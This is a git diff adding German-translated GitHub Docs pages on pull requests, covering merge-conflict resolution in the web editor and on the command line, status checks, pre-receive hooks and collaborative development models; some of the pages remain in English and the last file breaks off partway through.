+  - /github/collaborating-with-pull-requests/addressing-merge-conflicts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-merge-conflicts
+  - /resolving-a-merge-conflict-on-github
+  - /resolving-a-merge-conflict-using-the-command-line
+shortTitle: Address merge conflicts
+ms.openlocfilehash: 1b4fc4964cc804f321ab085f8f996fffc649323b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133026'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
new file mode 100644
index 0000000000..c8bd70810d
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
@@ -0,0 +1,67 @@
+---
+title: Mergekonflikt auf GitHub beheben
+intro: 'Einfache Mergekonflikte auf GitHub, bei denen Zeilenänderungen in Konflikt stehen, kannst du mit dem Konflikteditor beheben.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
+  - /articles/resolving-a-merge-conflict-on-github
+  - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github
+  - /github/resolving-a-merge-conflict-on-github
+  - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Resolve merge conflicts
+ms.openlocfilehash: 48613d8c8974d14a1de70e0dee5a7f4819d37fd9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145133025'
+---
+Auf {% data variables.product.product_name %} kannst du nur Mergekonflikte beheben, die durch konkurrierende Zeilenänderungen verursacht werden, beispielsweise, wenn mehrere Personen unterschiedliche Änderungen an der gleichen Zeile in der gleichen Datei in verschiedenen Branches deines Git-Repositorys vornehmen. Alle anderen Mergekonflikte musst Du lokal in der Befehlszeile beheben. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts mithilfe der Befehlszeile](/articles/resolving-a-merge-conflict-using-the-command-line/).
+
+{% ifversion ghes or ghae %} Wenn ein Websiteadministrator den Editor für Mergekonflikte für Pull Requests zwischen Repositorys deaktiviert, kannst du den Konflikt-Editor nicht für {% data variables.product.product_name %} verwenden und musst Mergekonflikte über die Befehlszeile beseitigen. Beispielsweise kannst du den Mergekonflikt-Editor, wenn er deaktiviert ist, nicht für Pull Requests zwischen einem Fork und einem vorgelagerten Repository verwenden.
+{% endif %}
+
+{% warning %}
+
+**Warnung:** Wenn du einen Mergekonflikt für {% data variables.product.product_name %} auflöst, wird der gesamte [Basisbranch](/github/getting-started-with-github/github-glossary#base-branch) deines Pull Requests in den [Headbranch](/github/getting-started-with-github/github-glossary#head-branch) gemergt. Vergewissere Dich, dass Du wirklich diesen Branch freigeben willst. Wenn der Headbranch der Standardbranch deines Repositorys ist, hast du die Möglichkeit, einen neuen Branch zu erstellen, der als Headbranch für deinen Pull Request dient. Wenn der Head-Branch geschützt ist, kannst Du Deine Konflikt-Auflösung nicht zusammenführen, deshalb wirst Du aufgefordert werden, einen neuen Head-Branch zu erstellen. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches).
+
+{% endwarning %}
+
+{% data reusables.repositories.sidebar-pr %}
+1. Klicke in der Liste der Pull Requests auf den Pull Request mit dem Mergekonflikt, den Du beheben möchtest.
+1. Klicke im unteren Bereich deines Pull Requests auf **Konflikte auflösen**.
+![Schaltfläche „Mergekonflikte lösen“](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
+
+ {% tip %}
+
+ **Tipp:** Wenn die Schaltfläche **Konflikte auflösen** deaktiviert ist, ist der Mergekonflikt deines Pull Requests für eine Behebung auf {% data variables.product.product_name %} zu komplex{% ifversion ghes or ghae %}, oder der Websiteadministrator hat den Konflikt-Editor für Pull Requests zwischen Repositorys deaktiviert{% endif %}. Du musst den Mergekonflikt mit einem alternativen Git-Client auflösen, oder durch Verwendung von Git auf der Befehlszeile. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts mithilfe der Befehlszeile](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line).
+
+ {% endtip %} {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} ![Anzeigen eines Mergekonfliktbeispiels mit Konflikthinweisen](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
+1. Wenn Deine Datei mehrere Mergekonflikte enthält, scrolle nach unten zum nächsten Konflikthinweis, und wiederhole dort die Schritte 4 und 5, um auch diesen Mergekonflikt zu beheben.
+1. Wenn du alle Konflikte in der Datei aufgelöst hast, klicke auf **Als behoben markieren**.
+ ![Klicken auf die Schaltfläche „Als behoben markieren“](/assets/images/help/pull_requests/mark-as-resolved-button.png)
+1. Wenn mehrere Dateien Konflikte enthalten, wähle auf der linken Seite unter „Conflicting files“ (Dateien mit Konflikten) die nächste Datei aus, und wiederhole die Schritte 4 bis 7, bis Du alle Mergekonflikte Deines Pull Request behoben hast.
+ ![Auswählen der nächsten Datei mit Konflikten, falls zutreffend](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
+1. Sobald du alle Mergekonflikte gelöst hast, klickst du auf **Merge committen**. Dadurch wird der gesamte Basis-Branch in Deinen Head-Branch zusammengeführt.
+ ![Schaltfläche „Mergekonflikte lösen“](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
+1. Sofern Du eine entsprechende Aufforderung erhältst, überprüfe den Branch, in den der Commit erfolgt.
+
+   Wenn der Head-Branch der Standardbranch Deines Repositorys ist, kannst Du wählen, entweder diesen Branch mit den Änderungen zu aktualisieren, die Du zur Auflösung des Konfliktes gemacht hast, oder einen neuen Branch zu erstellen und diesen als Head-Branch des Pull Requests zu verwenden.
+ ![Aufforderung zum Überprüfen des Branches, der aktualisiert wird](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
+
+   Wenn Du Dich für einen neuen Branch entscheidest, gib den Namen für den Branch ein.
+
+   Wenn der Head-Branch Deines Pull-Requests geschützt ist, musst Du einen neuen Branch erstellen. Du hast keine Möglichkeit, den geschützten Branch zu aktualisieren.
+
+   Klicke auf **Branch erstellen und Pull Request aktualisieren** oder **Verstanden, Aktualisierung von _BRANCH_ fortsetzen**. Der Text der Schaltfläche entspricht der Aktion, die Du durchführst.
+1. Um deinen Pull Request zu mergen, klicke auf **Pull Request mergen**. Informationen zu weiteren Optionen zum Mergen von Pull Requests findest du unter [Mergen eines Pull Requests](/articles/merging-a-pull-request/).
+
+## Weiterführende Themen
+
+- [Informationen zum Zusammenführen von Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
new file mode 100644
index 0000000000..a53dcfa122
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
@@ -0,0 +1,131 @@
+---
+title: Resolving a merge conflict using the command line
+intro: You can resolve merge conflicts using the command line and a text editor.
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
+  - /articles/resolving-a-merge-conflict-from-the-command-line
+  - /articles/resolving-a-merge-conflict-using-the-command-line
+  - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-using-the-command-line
+  - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Resolve merge conflicts in Git
+---
+Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)."
+
+{% tip %}
+
+**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)."
+
+{% endtip %}
+
+## Competing line change merge conflicts
+
+To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit.
+
+For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Navigate into the local Git repository that has the merge conflict.
+  ```shell
+  cd REPOSITORY-NAME
+  ```
+3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict.
+  ```shell
+  $ git status
+  > # On branch branch-b
+  > # You have unmerged paths.
+  > #   (fix conflicts and run "git commit")
+  > #
+  > # Unmerged paths:
+  > #   (use "git add <file>..." to mark resolution)
+  > #
+  > # both modified:      styleguide.md
+  > #
+  > no changes added to commit (use "git add" and/or "git commit -a")
+  ```
+4. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts.
+5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`.
+
+    ```
+    If you have questions, please
+    <<<<<<< HEAD
+    open an issue
+    =======
+    ask your question in IRC.
+    >>>>>>> branch-a
+    ```
+{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge:
+
+  ```shell
+  If you have questions, please open an issue or ask in our IRC channel if it's more urgent.
+  ```
+7. Add or stage your changes.
+  ```shell
+  $ git add .
+  ```
+8. Commit your changes with a comment.
+  ```shell
+  $ git commit -m "Resolved merge conflict by incorporating both suggestions."
+  ```
+
+You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+
+## Removed file merge conflicts
+
+To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit.
+
+For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Navigate into the local Git repository that has the merge conflict.
+  ```shell
+  cd REPOSITORY-NAME
+  ```
+2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict.
+  ```shell
+  $ git status
+  > # On branch main
+  > # Your branch and 'origin/main' have diverged,
+  > # and have 1 and 2 different commits each, respectively.
+  > #  (use "git pull" to merge the remote branch into yours)
+  > # You have unmerged paths.
+  > #  (fix conflicts and run "git commit")
+  > #
+  > # Unmerged paths:
+  > #  (use "git add/rm <file>..." as appropriate to mark resolution)
+  > #
+  > #	deleted by us:   README.md
+  > #
+  > # no changes added to commit (use "git add" and/or "git commit -a")
+  ```
+3. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts.
+6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor.
+
+ To add the removed file back to your repository:
+  ```shell
+  $ git add README.md
+  ```
+ To remove this file from your repository:
+  ```shell
+  $ git rm README.md
+  > README.md: needs merge
+  > rm 'README.md'
+  ```
+7. Commit your changes with a comment.
+  ```shell
+  $ git commit -m "Resolved merge conflict by keeping README.md file."
+  > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d
+  ```
+
+You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request.
+
+## Further reading
+
+- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
+- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)"
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
new file mode 100644
index 0000000000..9859db2947
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
@@ -0,0 +1,89 @@
+---
+title: Informationen zu Statuschecks
+intro: 'Statusüberprüfungen informieren dich darüber, ob deine Commits die Bedingungen erfüllen, die für das Repository festgelegt wurden, an dem du mitwirkst.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
+  - /articles/about-statuses
+  - /articles/about-status-checks
+  - /github/collaborating-with-issues-and-pull-requests/about-status-checks
+  - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 759889bd4f014e4bc2afff5f182a0b7258c8bb07
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147065866'
+---
+Statuschecks basieren auf externen Prozessen, beispielsweise Builds mit fortlaufender Integration, die bei jedem Push an ein Repository ausgeführt werden. Du kannst die Zustände *ausstehend*, *übergeben* oder *fehlerhaft* der Statusüberprüfungen neben einzelnen Commits in deinem Pull Request anzeigen.
+
+![Liste der Commits und Status](/assets/images/help/pull_requests/commit-list-statuses.png)
+
+Personen mit Schreibberechtigungen für ein Repository können den Zustand für Statusprüfungen im Repository festlegen.
+
+Du kannst den Gesamtzustand des letzten Commits an einen Branch auf der Branch-Seite deines Repositorys oder in der Liste der Pull Requests deines Repositorys sehen.
+
+{% data reusables.pull_requests.required-checks-must-pass-to-merge %}
+
+## Arten von Statuschecks auf {% data variables.product.product_name %}
+
+Es gibt zwei Arten von Statuschecks auf {% data variables.product.product_name %}:
+
+- Prüfungen
+- Status
+
+_Überprüfungen_ unterscheiden sich von _Status_ dadurch, dass sie Zeilenanmerkungen und detailliertere Meldungen enthalten und nur für die Verwendung mit {% data variables.product.prodname_github_apps %} verfügbar sind.
+
+Organisationsinhaber und Benutzer mit Push-Zugriff auf ein Repository können mit der API von {% data variables.product.product_name %} Prüfungen und Status erstellen. Weitere Informationen findest du unter [Überprüfungen](/rest/reference/checks) und [Status](/rest/reference/commits#commit-statuses).
+
+## Prüfungen
+
+Wenn _Überprüfungen_ in einem Repository eingerichtet sind, enthalten Pull Requests eine Registerkarte **Überprüfungen**, auf der du die detaillierte Buildausgabe aus Statusüberprüfungen anzeigen und fehlerhafte Überprüfungen erneut ausführen kannst.
+
+![Statuschecks innerhalb eines Pull Requests](/assets/images/help/pull_requests/checks.png)
+
+{% note %}
+
+**Hinweis**: Die Registerkarte **Überprüfungen** wird für Pull Requests nur ausgefüllt, wenn du für das Repository _Überprüfungen_ einrichtest, nicht _Status_.
+
+{% endnote %}
+
+Wenn eine Überprüfung aufgrund einer bestimmten Zeile in einem Commit nicht bestanden wird, siehst du Einzelheiten zum Fehler, zur Warnung oder zum Hinweis neben dem entsprechenden Code auf der Registerkarte **Dateien** des Pull Requests.
+
+![Details eines Statuschecks](/assets/images/help/pull_requests/checks-detailed.png)
+
+Du kannst zwischen den Überprüfungszusammenfassungen für verschiedene Commits in einem Pull Request navigieren, indem du das Dropdownmenü „Commit“ auf der Registerkarte **Unterhaltung** verwendest.
+
+![Prüfungszusammenfassungen für verschiedene Commits in einem Dropdownmenü](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
+
+### Prüfungen für einzelne Commits überspringen und anfordern
+
+Wenn ein Repository so konfiguriert ist, dass es automatisch Prüfungen für Pushes anfordert, kannst du die Prüfungen für einen einzelnen Commit überspringen, den du überträgst. Wenn ein Repository _nicht_ so konfiguriert ist, dass es automatisch Überprüfungen für Pushes anfordert, kannst du die Überprüfungen für einen einzelnen Commit anfordern, den du pushst. Weitere Informationen zu diesen Einstellungen findest du unter [Überprüfen von Suites](/rest/reference/checks#update-repository-preferences-for-check-suites).
+
+Um Prüfungen für deinen Commit zu überspringen oder anzufordern, füge eine der folgenden Trailerzeilen an das Ende deiner Commit-Mitteilung an:
+
+- Um Überprüfungen für einen Commit zu _überspringen_, gib deine Commitmitteilung und eine kurze, aussagekräftige Beschreibung deiner Änderungen ein. Füge nach der Commitbeschreibung vor dem schließenden Anführungszeichen zwei leere Zeilen hinzu, gefolgt von `skip-checks: true`:
+  ```shell
+  $ git commit -m "Update README
+  >
+  >
+  skip-checks: true"
+  ```
+- Um Überprüfungen für einen Commit _anzufordern_, gib deine Commitmitteilung und eine kurze, aussagekräftige Beschreibung deiner Änderungen ein. Füge nach der Commitbeschreibung vor dem schließenden Anführungszeichen zwei leere Zeilen hinzu, gefolgt von `request-checks: true`:
+  ```shell
+  $ git commit -m "Refactor usability tests
+  >
+  >
+  request-checks: true"
+  ```
+
+{% ifversion fpt or ghec %}
+### Aufbewahrung von Statusüberprüfungen
+
+{% data reusables.pull_requests.retention-checks-data %} {% endif %}
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
new file mode 100644
index 0000000000..272494a841
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
@@ -0,0 +1,27 @@
+---
+title: An Repositorys mit Codequalität-Funktionen zusammenarbeiten
+intro: 'Workflow-Qualitätsfunktionen wie Status, {% ifversion ghes %}Pre-Receive-Hooks, {% endif %}geschützte Branches und erforderliche Statuschecks helfen Mitarbeitern dabei, Beiträge zu leisten, die den Bedingungen der Organisations- und Repository-Administratoren entsprechen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features
+  - /articles/collaborating-on-repositories-with-code-quality-features-enabled
+  - /articles/collaborating-on-repositories-with-code-quality-features
+  - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+children:
+  - /about-status-checks
+  - /working-with-pre-receive-hooks
+shortTitle: Code quality features
+ms.openlocfilehash: ba28472ee86b566f5b72d445d9a06d7b4756f01a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133945'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md
new file mode 100644
index 0000000000..a9fe5f3d34
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks.md
@@ -0,0 +1,39 @@
+---
+title: Mit Pre-Receive-Hooks arbeiten
+intro: '*Pre-Receive-Hooks* erzwingen Regeln für Beiträge, bevor Commits mithilfe von Push an ein Repository übertragen werden können.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks
+  - /articles/working-with-pre-receive-hooks
+  - /github/collaborating-with-issues-and-pull-requests/working-with-pre-receive-hooks
+  - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/working-with-pre-receive-hooks
+versions:
+  ghes: '*'
+shortTitle: Pre-receive hooks
+ms.openlocfilehash: 6ca26aed9e9d92abfb6d742f7f4ca968c442b447
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146332592'
+---
+Pre-Receive-Hooks führen Tests für an ein Repository übertragenen Code durch, um sicherzustellen, dass die Beiträge die Repository- oder Organisationsrichtlinie erfüllen. Falls die Commit-Inhalte die Tests bestehen, wird der Push in das Repository akzeptiert. Falls die Commit-Inhalte die Tests nicht bestehen, wird der Push nicht akzeptiert.
+
+Falls dein Push nicht akzeptiert wird, wird eine Fehlermeldung zum fehlgeschlagenen Pre-Receive-Hook angezeigt.
+
+```shell
+$ git push
+Counting objects: 3, done.
+Delta compression using up to 4 threads.
+Compressing objects: 100% (2/2), done.
+Writing objects: 100% (3/3), 916 bytes | 0 bytes/s, done.
+Total 3 (delta 0), reused 0 (delta 0)
+remote: always_reject.sh: failed with exit status 1
+remote: error: rejecting all pushes
+To https://54.204.174.51/hodor/nope.git
+ ! [remote rejected] main -> main (pre-receive hook declined)
+error: failed to push some refs to 'https://54.204.174.51/hodor/nope.git'
+```
+
+![Fehlermeldung für fehlgeschlagenen Pre-Receive-Hook](/assets/images/help/pull_requests/pre-receive-hook-failed-error.png)
+
+Dein {% data variables.product.product_name %}-Websiteadministrator kann Pre-Receive-Hooks für deine Organisation oder für dein Repository erstellen und entfernen. Zudem kann er Organisations- oder Repositoryadministratoren erlauben, Pre-Receive-Hooks zu aktivieren oder zu deaktivieren. Weitere Informationen findest du unter [Verwenden von Pre-Receive-Hooks zum Erzwingen der Richtlinie](/enterprise/admin/guides/developer-workflow/using-pre-receive-hooks-to-enforce-policy).
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
new file mode 100644
index 0000000000..68ef9e1a11
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
@@ -0,0 +1,43 @@
+---
+title: Informationen zu gemeinschaftlichen Entwicklungsmodellen
+intro: 'Die Art und Weise, wie du Pull Requests verwendest, hängt von der Art des Entwicklungsmodells in deinem Projekt ab. Du kannst das Forken-und-Pullen-Modell oder das Modell mit freigegebenen Repositorys anwenden.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models
+  - /articles/types-of-collaborative-development-models
+  - /articles/about-collaborative-development-models
+  - /github/collaborating-with-issues-and-pull-requests/about-collaborative-development-models
+  - /github/collaborating-with-pull-requests/getting-started/about-collaborative-development-models
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Collaborative development
+ms.openlocfilehash: 2a054071dc801ac035f3925e81895200c0a7375d
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146139184'
+---
+## „Forken und Pullen“-Modell
+
+Mit dem „Forken und Pullen“-Modell kann jeder ein bestehendes Repository forken und Veränderungen an seine persönlichen Forks pushen. Du benötigst keine Berechtigungen zum Quell-Repository, um an eine benutzereigene Fork zu übertragen. Die Änderungen können vom Projektbetreuer in das Quell-Repository gezogen werden. Wenn du einen Pull Request öffnest, der Änderungen von deiner benutzereigenen Fork zu einem Branch im Quell- (vorgelagerten) Repository vorschlägt, kannst du allen Personen mit Push Zugriff auf das vorgelagerte Repository erlauben, Änderungen an deinen Pull Requests zu machen.  Dieses Modell ist bei Open-Source-Projekten beliebt, da es Probleme für neue Mitarbeiter reduziert und Benutzern ermöglicht, unabhängig und ohne vorherige Koordination zu arbeiten.
+
+{% tip %}
+
+**Tipp:** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning %}
+
+{% endtip %}
+
+## „Freigegebenes Repository“-Modell
+
+Beim „Freigegebenes Repository“-Modell erhalten Mitarbeiter Pushzugriff auf ein einzelnes freigegebenes Repository, und Themenbranches werden erstellt, wenn Änderungen vorgenommen werden müssen. Pull Requests sind in diesem Modell nützlich, da sie einen Code-Review und eine allgemeine Diskussion über eine Reihe von Änderungen initiieren, bevor die Änderungen in den Hauptentwicklungs-Branch integriert werden. Dieses Modell kommt häufiger bei kleinen Teams und Organisationen zur Anwendung, die an privaten Projekten zusammenarbeiten.
+
+## Weitere Informationsquellen
+
+- [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)
+- [Erstellen eines Pull Requests vom einem Fork des Repositorys](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)
+- [Zulassen von Änderungen an einem Pull Request-Branch, der über einen Fork erstellt wurde](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
new file mode 100644
index 0000000000..fdc640912c
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
@@ -0,0 +1,28 @@
+---
+title: Erste Schritte
+shortTitle: Getting started
+intro: 'Erfahre mehr über den {% data variables.product.prodname_dotcom %}-Fluss und die verschiedenen Möglichkeiten, an Deinen Projekten mitzuwirken und sie zu diskutieren.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/getting-started
+  - /github/collaborating-with-issues-and-pull-requests/overview
+  - /github/collaborating-with-pull-requests/getting-started
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Discussions
+  - Fundamentals
+children:
+  - /about-collaborative-development-models
+ms.openlocfilehash: f8f4e6547b525ceebf1131db468c5a81b3b9d6fd
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145132994'
+---
+
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
new file mode 100644
index 0000000000..32c3ec760b
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
@@ -0,0 +1,90 @@
+---
+title: About pull request merges
+intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
+  - /articles/about-pull-request-merge-squashing
+  - /articles/about-pull-request-merges
+  - /github/collaborating-with-issues-and-pull-requests/about-pull-request-merges
+  - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+---
+## Merge your commits
+
+{% data reusables.pull_requests.default_merge_option %}
+
+## Squash and merge your commits
+
+{% data reusables.pull_requests.squash_and_merge_summary %}
+
+### Merge message for a squash merge
+
+{% ifversion default-merge-squash-commit-message %}
+When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. Depending on how the repository is configured and the number of commits in the pull request, not including merge commits, this message may include the pull request title, pull request description, or information about the commits.
+{% else %}
+When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. The default message depends on the number of commits in the pull request, not including merge commits.
+
+Number of commits | Summary | Description |
+----------------- | ------- | ----------- |	
+One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit
+More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order
+{% endif %}
+
+Number of commits | Summary | Description |
+----------------- | ------- | ----------- |
+One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit
+More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order
+
+{% ifversion default-merge-squash-commit-message %}
